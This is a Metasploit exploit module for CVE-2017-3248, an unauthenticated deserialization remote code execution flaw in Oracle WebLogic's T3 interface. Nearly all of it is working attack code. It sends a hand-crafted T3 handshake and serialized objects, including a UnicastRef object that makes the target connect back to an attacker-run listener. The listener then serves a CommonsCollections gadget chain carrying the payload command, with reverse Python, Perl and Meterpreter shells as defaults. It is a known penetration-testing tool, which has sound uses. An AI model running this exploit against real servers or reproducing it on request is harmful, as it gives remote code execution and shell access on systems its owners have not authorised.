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GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/weblogic_deserialize_unicastref.rb
Views: 1904
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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6
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::TcpServer
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#include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Powershell
14
15
def initialize(info={})
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super(update_info(info,
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'Name' => 'Oracle Weblogic Server Deserialization RCE - RMI UnicastRef',
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'Description' => %q{
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An unauthenticated attacker with network access to the Oracle Weblogic Server T3
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interface can send a serialized object (sun.rmi.server.UnicastRef)
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to the interface to execute code on vulnerable hosts.
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},
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'Author' =>
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[
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'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)
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'Jacob Baines', # Vulnerability Discovery - Tenable Network Security
27
'Aaron Soto' # Reverse Engineering JSO and ysoserial blobs
28
],
29
'License' => MSF_LICENSE,
30
'References' =>
31
[
32
['CVE', '2017-3248']
33
],
34
'Privileged' => false,
35
'Platform' => %w{ unix win solaris },
36
'Targets' =>
37
[
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[ 'Unix',
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'Platform' => 'unix',
40
'Arch' => ARCH_CMD,
41
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'},
42
'Payload' => {
43
'Encoder' => 'cmd/ifs',
44
'BadChars' => ' ',
45
'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'python'}
46
}
47
],
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[ 'Windows',
49
'Platform' => 'win',
50
'Payload' => {},
51
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}
52
],
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[ 'Solaris',
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'Platform' => 'solaris',
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'Arch' => ARCH_CMD,
56
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},
57
'Payload' => {
58
'Space' => 2048,
59
'DisableNops' => true,
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'Compat' =>
61
{
62
'PayloadType' => 'cmd',
63
'RequiredCmd' => 'generic perl telnet',
64
}
65
}
66
]
67
],
68
'DefaultTarget' => 0,
69
'DefaultOptions' =>
70
{
71
'WfsDelay' => 12
72
},
73
'DisclosureDate' => '2017-01-25'))
74
75
register_options([Opt::RPORT(7001)])
76
end
77
78
=begin This check is currently incompatible with the Tcp mixin. :-(
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def check
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resp = send_request_cgi(
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'method' => 'GET',
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'uri' => '/console/login/LoginForm.jsp'
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)
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return CheckCode::Unknown unless resp && resp.code == 200
86
87
unless resp.body.include?('Oracle WebLogic Server Administration Console')
88
vprint_warning("Oracle WebLogic Server banner cannot be found")
89
return CheckCode::Unknown
90
end
91
92
/WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
93
unless version
94
vprint_warning("Oracle WebLogic Server version cannot be found")
95
return CheckCode::Unknown
96
end
97
98
version = Rex::Version.new(version)
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vprint_good("Detected Oracle WebLogic Server Version: #{version}")
100
case
101
when version.to_s.start_with?('10.3')
102
return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')
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when version.to_s.start_with?('12.1.3')
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return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')
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when version.to_s.start_with?('12.2')
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return CheckCode::Appears unless version > Rex::Version.new('12.2.1.1')
107
end
108
109
return CheckCode::Safe
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end
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=end
112
113
def gen_resp
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if target.name == 'Windows'
115
pwrshl = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true})
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mycmd = pwrshl.each_byte.map {|b| b.to_s(16)}.join
117
elsif target.name == 'Unix' || target.name == 'Solaris'
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nix_cmd = payload.encoded
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mycmd = nix_cmd.each_byte.map {|b| b.to_s(16)}.join
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end
121
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serialized_cmd = (mycmd.length >> 1).to_s(16).rjust(4,'0')
123
serialized_cmd << mycmd
124
125
# Response data taken from JRMPListener generated data:
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# java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPListener <lport> CommonsCollections1 calc.exe
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# Modified captured network traffic bytes. Patch in command to run
128
# TODO: Migrate this functionality to the new JavaDeserialization utilities
129
@resp = '51aced0005770f02086f5ef3000001651a67984d80017372002e6a617661782e'
130
@resp << '6d616e6167656d656e742e42616441747472696275746556616c756545787045'
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@resp << '7863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176'
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@resp << '612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863'
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@resp << '657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e'
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@resp << '5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c'
135
@resp << '6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573'
136
@resp << '736167657400124c6a6176612f6c616e672f537472696e673b5b000a73746163'
137
@resp << '6b547261636574001e5b4c6a6176612f6c616e672f537461636b547261636545'
138
@resp << '6c656d656e743b4c001473757070726573736564457863657074696f6e737400'
139
@resp << '104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c'
140
@resp << '6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c'
141
@resp << '3cfd2239020000707870000000047372001b6a6176612e6c616e672e53746163'
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@resp << '6b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e'
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@resp << '756d6265724c000e6465636c6172696e67436c61737371007e00054c00086669'
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@resp << '6c654e616d6571007e00054c000a6d6574686f644e616d6571007e0005707870'
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@resp << '0000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c6973'
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@resp << '74656e65727400114a524d504c697374656e65722e6a617661740006646f4361'
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@resp << '6c6c7371007e000b000000e071007e000d71007e000e740009646f4d65737361'
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@resp << '67657371007e000b000000ab71007e000d71007e000e74000372756e7371007e'
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@resp << '000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e'
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@resp << '7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c6973'
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@resp << '74fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176'
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@resp << '612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c6543'
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@resp << '6f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a617661'
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@resp << '2f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e757469'
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@resp << '6c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870'
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@resp << '000000007704000000007871007e001b787372003273756e2e7265666c656374'
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@resp << '2e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e'
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@resp << '48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c7565'
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@resp << '7374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a61'
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@resp << '76612f6c616e672f436c6173733b707870737d00000001000d6a6176612e7574'
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@resp << '696c2e4d617074001066696c653a2f746d702f73732e6a6172787200176a6176'
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@resp << '612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c'
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@resp << '0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174'
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@resp << '696f6e48616e646c65723b7078707371007e001c7372002a6f72672e61706163'
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@resp << '68652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d'
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@resp << '61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61'
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@resp << '70616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e7366'
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@resp << '6f726d65723b74001066696c653a2f746d702f73732e6a617278707372003a6f'
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@resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6675'
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@resp << '6e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97'
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@resp << '040200015b000d695472616e73666f726d65727374002d5b4c6f72672f617061'
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@resp << '6368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f72'
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@resp << '6d65723b74001066696c653a2f746d702f73732e6a617278707572002d5b4c6f'
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@resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472'
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@resp << '616e73666f726d65723bbd562af1d834189902000074001066696c653a2f746d'
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@resp << '702f73732e6a61727870000000057372003b6f72672e6170616368652e636f6d'
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@resp << '6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e737461'
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@resp << '6e745472616e73666f726d6572587690114102b1940200014c000969436f6e73'
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@resp << '74616e7471007e000174001066696c653a2f746d702f73732e6a617278707672'
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@resp << '00116a6176612e6c616e672e52756e74696d6500000000000000000000007078'
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@resp << '707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c65637469'
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@resp << '6f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287'
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@resp << 'e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e67'
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@resp << '2f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b6950'
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@resp << '6172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7400'
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@resp << '1066696c653a2f746d702f73732e6a61727870757200135b4c6a6176612e6c61'
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@resp << '6e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67'
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@resp << '657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab'
189
@resp << '16d7aecbcd5a99020000707870000000007400096765744d6574686f64757100'
190
@resp << '7e003e00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a'
191
@resp << '3bb3420200007078707671007e003e7371007e00367571007e003b0000000270'
192
@resp << '7571007e003b00000000740006696e766f6b657571007e003e00000002767200'
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@resp << '106a6176612e6c616e672e4f626a656374000000000000000000000070787076'
194
@resp << '71007e003b7371007e0036757200135b4c6a6176612e6c616e672e537472696e'
195
@resp << '673badd256e7e91d7b470200007078700000000174'
196
197
@resp << serialized_cmd
198
199
@resp << '74'
200
@resp << '0004657865637571007e003e0000000171007e00437371007e0031737200116a'
201
@resp << '6176612e6c616e672e496e746567657212e2a0a4f78187380200014900057661'
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@resp << '6c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b'
203
@resp << '02000070787000000001737200116a6176612e7574696c2e486173684d617005'
204
@resp << '07dac1c31660d103000246000a6c6f6164466163746f72490009746872657368'
205
@resp << '6f6c647078703f40000000000000770800000010000000007878767200126a61'
206
@resp << '76612e6c616e672e4f7665727269646500000000000000000000007078707100'
207
@resp << '7e005a'
208
end
209
210
def on_client_connect(client)
211
# Make sure to only sent one meterpreter payload to a host.
212
# (or as long as the server was listening).
213
vprint_status("Comparing host: #{client.peerhost}")
214
if @met_sent.include?(client.peerhost) then return end
215
@met_sent << client.peerhost
216
217
print_status("Sending payload to client: #{client.peerhost}")
218
219
# Response format determined by watching network traffic
220
accept_conn = '4e00'
221
raccept_conn = client.peerhost.each_byte.map {|b| b.to_s(16)}.join
222
accept_conn << (raccept_conn.length >> 1).to_s(16).rjust(2,'0')
223
accept_conn << raccept_conn
224
accept_conn << '0000'
225
accept_conn << client.peerport.to_s(16).rjust(4,'0')
226
227
client.put([accept_conn].pack('H*'))
228
client.get_once
229
client.get_once
230
client.put([@resp].pack('H*'))
231
client.get_once
232
233
service.close_client(client)
234
end
235
236
def t3_handshake
237
# retrieved from network traffic
238
shake = "t3 12.2.1\n"
239
shake << "AS:255\n"
240
shake << "HL:19\n"
241
shake << "MS:10000000\n\n"
242
243
sock.put(shake)
244
sleep(1)
245
sock.get_once
246
end
247
248
def build_t3_request_object
249
# T3 request serialized data
250
# retrieved by watching network traffic
251
# This is a proprietary, undocumented protocol
252
data = '000005c3' # lenght of the packet
253
data << '01' # CMD_IDENTIFY_REQUEST
254
data << '65' # QOS
255
data << '01' # Flags:
256
# CONTEXT_JVMID_FLAG = 1 (has JVMIDs)
257
# CONTEXT_TX_FLAG = 2
258
# CONTEXT_TRACE_FLAG = 4
259
# CONTEXT_EXTENDED_FLAG = 8
260
# CONTEXT_EXTENDED_USER_FLAG = 16
261
data << 'ffffffff' # response id
262
data << 'ffffffff' # invocable id
263
data << '0000006a' # abbrev offset
264
data << '0000ea60' # reconnect timeout ??
265
266
# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?
267
data << '0000001900937b484a56fa4a777666f581daa4f5b9'
268
data << '0e2aebfc607499b402797372007872017872027870'
269
data << '0000000a0000000300000000000000060070707070'
270
data << '70700000000a000000030000000000000006007006'
271
272
data << 'fe010000' # ----- separator -----
273
274
data << 'aced0005' # JSO v5 header
275
data << '73' # object header
276
data << '72001d' # className (29 bytes):
277
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
278
data << '5461626c65456e747279' # (continued)
279
data << '2f52658157f4f9ed' # serialVersionUID
280
data << '0c00007870' # remainder of object header
281
data << '72' # object header
282
data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo
283
data << '65726e616c2e5061636b616765496e666f' # (continued)
284
data << 'e6f723e7b8ae1ec9' # serialVersionUID
285
data << '02' # SC_SERIALIZABLE
286
data << '0008' # fieldCount = 8
287
data << '4900056d616a6f72' # 0: Int: major
288
data << '4900056d696e6f72' # 1: Int: minor
289
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
290
data << '49000b736572766963655061636b' # 3: Int: servicePack
291
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
292
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
293
data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String
294
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
295
data << '71007e0003' # (Handle) 0x007e0003
296
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
297
data << '71007e0003' # (Handle) 0x007e0003
298
data << '78707702000078' # block footers
299
300
data << 'fe010000' # ----- separator -----
301
302
data << 'aced0005' # JSO v5 header
303
data << '7372' # object header
304
data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry
305
data << '735461626c65456e747279' # (continued)
306
data << '2f52658157f4f9ed' # serialVersionUID
307
data << '0c' # EXTERNALIZABLE | BLOCKDATA
308
data << '00007870' # remainder of object header
309
data << '72' # object header
310
data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo
311
data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)
312
data << '972245516452463e' # serialVersionUID
313
data << '02' # SC_SERIALIZABLE
314
data << '0003' # fieldCount = 3
315
data << '5b0008' # array header (8 bytes)
316
data << '7061636b61676573' # ARRAY NAME = 'packages'
317
data << '740027' # TC_STRING className1 (39 bytes)
318
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo
319
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)
320
data << '3b' # (continued)
321
data << '4c000e' # object header (14 bytes)
322
data << '72656c6561736556657273696f6e' # releaseVersion
323
data << '740012' # TC_STRING (18 bytes)
324
data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes
325
data << '5b0012' # array header (18 bytes)
326
data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String;
327
data << '740002' # TC_STRING (2 bytes)
328
data << '5b42' # 0x5b42 = [B
329
data << '78' # block footer
330
331
data << '720024' # class (36 bytes)
332
data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo
333
data << '7465726e616c2e5061636b616765496e666f' # (continued)
334
data << 'e6f723e7b8ae1ec9' # serialVersionUID
335
336
data << '02' # SC_SERIALIZABLE
337
data << '0008' # fieldCount = 8
338
data << '4900056d616a6f72' # 0: Int: major
339
data << '4900056d696e6f72' # 1: Int: minor
340
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
341
data << '49000b736572766963655061636b' # 3: Int: servicePack
342
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
343
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
344
data << '71' # TC_REFERENCE
345
data << '007e0004' # Handle = 0x007e0004
346
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
347
data << '71' # TC_REFERENCE
348
data << '007e0004' # Handle = 0x007e0004
349
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
350
data << '71' # TC_REFERENCE
351
data << '007e0004' # Handle = 0x007e0004
352
data << '78' # class footer
353
data << '70' # TC_NULL
354
data << '77020000' # BLOCKDATA (2 bytes): 0x0000
355
data << '78' # block footer
356
357
data << 'fe010000' # ----- separator -----
358
359
data << 'aced0005' # JSO v5 header
360
data << '73' # object header
361
data << '72001d' # className (29 bytes):
362
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
363
data << '5461626c65456e747279' # (continued)
364
data << '2f52658157f4f9ed' # serialVersionUID
365
data << '0c00007870' # remainder of object header
366
data << '720021' # className (33 bytes)
367
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo
368
data << '65726e616c2e50656572496e666f' # (continued)
369
data << '585474f39bc908f1' # serialVersionUID
370
data << '02' # SC_SERIALIZABLE
371
data << '0006' # fieldCount = 6
372
data << '4900056d616a6f72' # 0: Int: major
373
data << '4900056d696e6f72' # 1: Int: minor
374
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
375
data << '49000b736572766963655061636b' # 3: Int: servicePack
376
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
377
data << '5b00087061636b61676573' # 5: Array: packages
378
data << '740027' # TC_STRING (39 bytes)
379
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo;
380
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)
381
data << '3b' # (continued)
382
data << '78' # block footer
383
data << '720024' # class (36 bytes)
384
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Lweblogic/common/internal/PackageInfo;
385
data << '65726e616c2e56657273696f6e496e666f' # (continued)
386
data << '972245516452463e' # serialVersionUID
387
data << '02' # SC_SERIALIZABLE
388
data << '0003' # fieldCount = 3
389
data << '5b0008' # 0: Array
390
data << '7061636b6167657371' # packages
391
data << '007e0003' # Handle = 0x00730003
392
data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion
393
data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;
394
data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes
395
data << '740002' # TC_STRING (2 bytes)
396
data << '5b42' # VALUE = 0x5b42 = [B
397
data << '78' # block footer
398
data << '720024' # class: (36 bytes)
399
data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo
400
data << '6e616c2e5061636b616765496e666f' # (continued)
401
data << 'e6f723e7b8ae1ec9' # serialVersionUID
402
data << '02' # SC_SERIALIZABLE
403
data << '0008' # fieldCount = 8
404
data << '4900056d616a6f72' # 0: Int: major
405
data << '4900056d696e6f72' # 1: Int: minor
406
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
407
data << '49000b736572766963655061636b' # 3: Int: servicePack
408
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
409
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
410
data << '71' # TC_REFERENCE
411
data << '007e0005' # Handle = 0x007e0005
412
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
413
data << '71' # TC_REFERENCE
414
data << '007e0005' # Handle = 0x007e0005
415
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
416
data << '71' # TC_REFERENCE
417
data << '007e0005' # Handle = 0x007e0005
418
data << '78' # class footer
419
data << '707702000078' # block footers
420
421
data << 'fe00ff' # whatever this cruft is again
422
423
data << 'fe010000' # ----- separator -----
424
425
# weblogic.rjvm.JVMID object
426
data << 'aced0005' # JSO v5 header
427
data << '73' # object header
428
data << '720013' # class (19 bytes)
429
data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'
430
data << 'dc49c23ede121e2a' # serialVersionUID
431
data << '0c' # EXTERNALIZABLE | BLOCKDATA
432
data << '0000' # fieldCount = 0 (!!!)
433
data << '78' # block footer
434
data << '70' # NULL
435
data << '7750' # block header (80 bytes)
436
data << '21' # !
437
data << '000000000000000000' # 9 NULL BYTES
438
data << '0d' # \n
439
#data << '3139322e3136382e312e323237' # original PoC string = 192.168.1.227
440
data << '3030302e3030302e3030302e30' # new string = 000.000.000.0
441
# (must be an IP, and length isn't trivially editable)
442
data << '00' # \0
443
data << '12' # strLength = 18 bytes
444
#data << '57494e2d4147444d565155423154362e6568' # original str = WIN-AGDMVQUB1T6.eh
445
data << rand_text_alphanumeric(18).unpack('H*')[0]
446
data << '83348cd6' # ??? UNKNOWN ??? (Note: Cannot be randomized)
447
data << '000000070000' # ??? UNKNOWN ???
448
data << rport.to_s(16).rjust(4, '0') # callback port
449
data << 'ffffffffffffffffffffffffffffffffffffff' # ??? UNKNOWN ???
450
data << 'ffffffffff' # ??? UNKNOWN ???
451
data << '78' # block footer
452
453
data << 'fe010000' # ----- separator -----
454
455
# weblogic.rjvm.JVMID object
456
data << 'aced0005' # JSO v5 header
457
data << '73' # object header
458
data << '72' # class
459
data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID
460
data << 'dc49c23ede121e2a' # serialVersionUID
461
data << '0c' # EXTERNALIZABLE | BLOCKDATA
462
data << '0000' # fieldCount = 0
463
data << '78' # end block
464
data << '70' # TC_NULL
465
data << '77' # block header
466
data << '20' # length = 32 bytes
467
data << '0114dc42bd071a772700' # ??? UNKNOWN ???
468
#data << rand_text_alphanumeric(10).unpack('H*')[0] # (NOTE: RANDOMIZAITON BREAKS THINGS)
469
data << '0d' # \n
470
#data << '3234322e3231342e312e323534' # original string = 242.214.1.254
471
data << '3030302e3030302e3030302e30' # new string = 000.000.000.0
472
# (must be an IP, and length isn't trivially editable)
473
#data << '61863d1d' # original string = ??? UNKNOWN ???
474
data << rand_text_alphanumeric(4).unpack('H*')[0] # new = randomized
475
data << '00000000' # NULL BYTES
476
data << '78' # block footer
477
478
sock.put([data].pack('H*'))
479
sleep(1)
480
sock.get_once
481
end
482
483
def send_payload_objdata
484
shost = srvhost
485
if ['0.0.0.0', '127.0.0.1', '::'].include?(shost)
486
shost = Rex::Socket.source_address
487
end
488
489
# JRMPClient payload generated from ysoserial:
490
# Patch in srvhost and srvport
491
# TODO: Migrate this functionality to the new JavaDeserialization utilities
492
payload = '056508000000010000001b0000005d0101007372017870737202787000000000'
493
payload << '00000000757203787000000000787400087765626c6f67696375720478700000'
494
payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'
495
496
payload << 'fe010000' # ----- separator -----
497
498
payload << 'aced0005' # JSO v5 header
499
payload << '73' # object header
500
payload << '72' # class
501
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
502
payload << '73735461626c65456e747279' # (cont)
503
payload << '2f52658157f4f9ed' # serialVersionUID
504
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
505
payload << '0000' # fieldCount = 0
506
payload << '7870' # remaining object header
507
payload << '72' # class header
508
payload << '00025b42' # Name: 0x5b42
509
payload << 'acf317f8060854e0' # serialVersionUID
510
payload << '02' # SERIALIZABLE
511
payload << '0000' # fieldCount = 0
512
payload << '7870' # class footer
513
payload << '77' # block header
514
payload << '020000' # contents = 0x0000
515
payload << '78' # block footer
516
517
payload << 'fe010000' # ----- separator -----
518
519
payload << 'aced0005' # JSO v5 header
520
payload << '73' # object header
521
payload << '72' # class
522
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
523
payload << '73735461626c65456e747279' # (cont)
524
payload << '2f52658157f4f9ed' # serialVersionUID
525
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
526
payload << '0000' # fieldCount = 0
527
payload << '7870' # remaining object header
528
payload << '72' # class header
529
530
payload << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object;
531
payload << '6563743b' # (cont)
532
payload << '90ce589f1073296c' # serialVersionUID
533
payload << '02' # SERIALIZABLE
534
payload << '0000' # fieldCount = 0
535
payload << '7870' # remaining object header
536
payload << '77' # block header
537
payload << '020000' # contents = 0x0000
538
payload << '78' # block footer
539
540
payload << 'fe010000' # ----- separator -----
541
542
payload << 'aced0005' # JSO v5 header
543
payload << '73' # object header
544
payload << '72' # class
545
546
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
547
payload << '73735461626c65456e747279' # (cont)
548
payload << '2f52658157f4f9ed' # serialVersionUID
549
payload << '0c' # SERIALIZABLE | BLOCKDATA
550
payload << '0000' # fieldCount = 0
551
payload << '7870' # block footer
552
payload << '72' # class header
553
payload << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector
554
payload << 'd9977d5b803baf01' # serialVersionUID
555
payload << '03' # WRITE_METHOD | SERIALIZABLE
556
payload << '0003' # fieldCount = 3
557
payload << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement
558
payload << '49000c656c656d656e74436f756e74' # 1: Int: elementCount
559
payload << '5b000b656c656d656e7444617461' # 2: Array: elementData
560
payload << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object;
561
payload << '743b' # (cont)
562
payload << '7870' # remaining object header
563
payload << '77' # block header
564
payload << '020000' # contents = 0x0000
565
payload << '78' # block footer
566
567
payload << 'fe010000' # ----- separator -----
568
569
# manually generated payload using an UnicastRef object
570
# needed parameters are patched in runtime
571
payload << 'aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265'
572
payload << '676973747279787200176a6176612e6c616e672e7265666c6563742e50726f78'
573
payload << '79e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265'
574
payload << '666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a61'
575
payload << '76612e726d692e7365727665722e52656d6f74654f626a656374496e766f6361'
576
payload << '74696f6e48616e646c657200000000000000020200007872001c6a6176612e72'
577
payload << '6d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e0300'
578
payload << '00787077'
579
# serialize the srvhost manually
580
unicast_srvhost = shost.each_byte.map { |b| b.to_s(16) }.join
581
unicast_dat = '000a556e696361737452656600'
582
unicast_dat << (unicast_srvhost.length >> 1).to_s(16).rjust(2,'0')
583
unicast_dat << unicast_srvhost
584
unicast_dat << '0000'
585
unicast_dat << srvport.to_s(16).rjust(4,'0')
586
# unique identifier (for multiple executions)
587
rand_id = rand(1..65535)
588
unicast_dat << '000000006133'
589
unicast_dat << rand_id.to_s(16).rjust(4,'0')
590
unicast_dat << '00000000000000000000000000000078'
591
payload << ((unicast_dat.length >> 1) - 1).to_s(16).rjust(2,'0')
592
payload << unicast_dat
593
594
payload << 'fe010000' # ----- separator -----
595
596
# basic weblogic ImmutableServiceContext object (serialized)
597
payload << 'aced0005' # JSO v5 header
598
payload << '73' # object header
599
payload << '72' # class
600
payload << '00257765626c6f6769632e726a766d2e496d6d75' # Name: weblogic.rjvm.ImmutableServiceContext
601
payload << '7461626c6553657276696365436f6e74657874' # (cont)
602
payload << 'ddcba8706386f0ba' # serialVersionUID
603
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
604
payload << '0000' # fieldCount = 0
605
payload << '78' # object footer
606
payload << '72' # block header
607
608
609
payload << '00297765626c6f6769632e726d692e70726f76' # Name: weblogic.rmi.provider.BasicServiceContext
610
payload << '696465722e426173696353657276696365436f' # (cont)
611
payload << '6e74657874' # (cont)
612
payload << 'e4632236c5d4a71e' # serialVersionUID
613
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
614
payload << '0000' # fieldCount = 0
615
payload << '7870' # block footer
616
payload << '77' # block header
617
payload << '020600' # contents = 0x0600
618
payload << '7372' # class descriptor
619
payload << '00267765626c6f6769632e726d692e696e7465' # Name: weblogic.rmi.internal.MethodDescriptor
620
payload << '726e616c2e4d6574686f644465736372697074' # (cont)
621
payload << '6f72' # (cont)
622
payload << '12485a828af7f67b' # serialVersionUID
623
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
624
payload << '0000' # fieldCount = 0
625
payload << '7870' # class footer
626
payload << '77' # class data
627
628
#payload << '34002e61757468656e746963617465284c7765' # old contents = 0x002e61757468656e746963617465284c7765
629
#payload << '626c6f6769632e73656375726974792e61636c' # 626c6f6769632e73656375726974792e61636c
630
#payload << '2e55736572496e666f3b290000001b' # 2e55736572496e666f3b290000001b
631
payload << rand_text_alphanumeric(52).unpack('H*')[0] # new = randomized
632
payload << '78' # class footer
633
payload << '78' # block footer
634
# MISSING OBJECT FOOTER (0x78)
635
636
payload << 'fe00ff' # this cruft again. some kind of footer
637
638
# sets the length of the stream
639
data = ((payload.length >> 1) + 4).to_s(16).rjust(8,'0')
640
data << payload
641
642
sleep(2)
643
sock.put([data].pack('H*'))
644
sleep(2)
645
sock.get_once
646
end
647
648
def exploit
649
@met_sent = []
650
gen_resp
651
652
connect
653
654
print_status('Sending handshake...')
655
t3_handshake
656
657
print_status('Sending T3 request object...')
658
build_t3_request_object
659
660
start_service
661
662
print_status('Sending client object payload...')
663
send_payload_objdata
664
665
handler
666
667
disconnect
668
end
669
end
670
671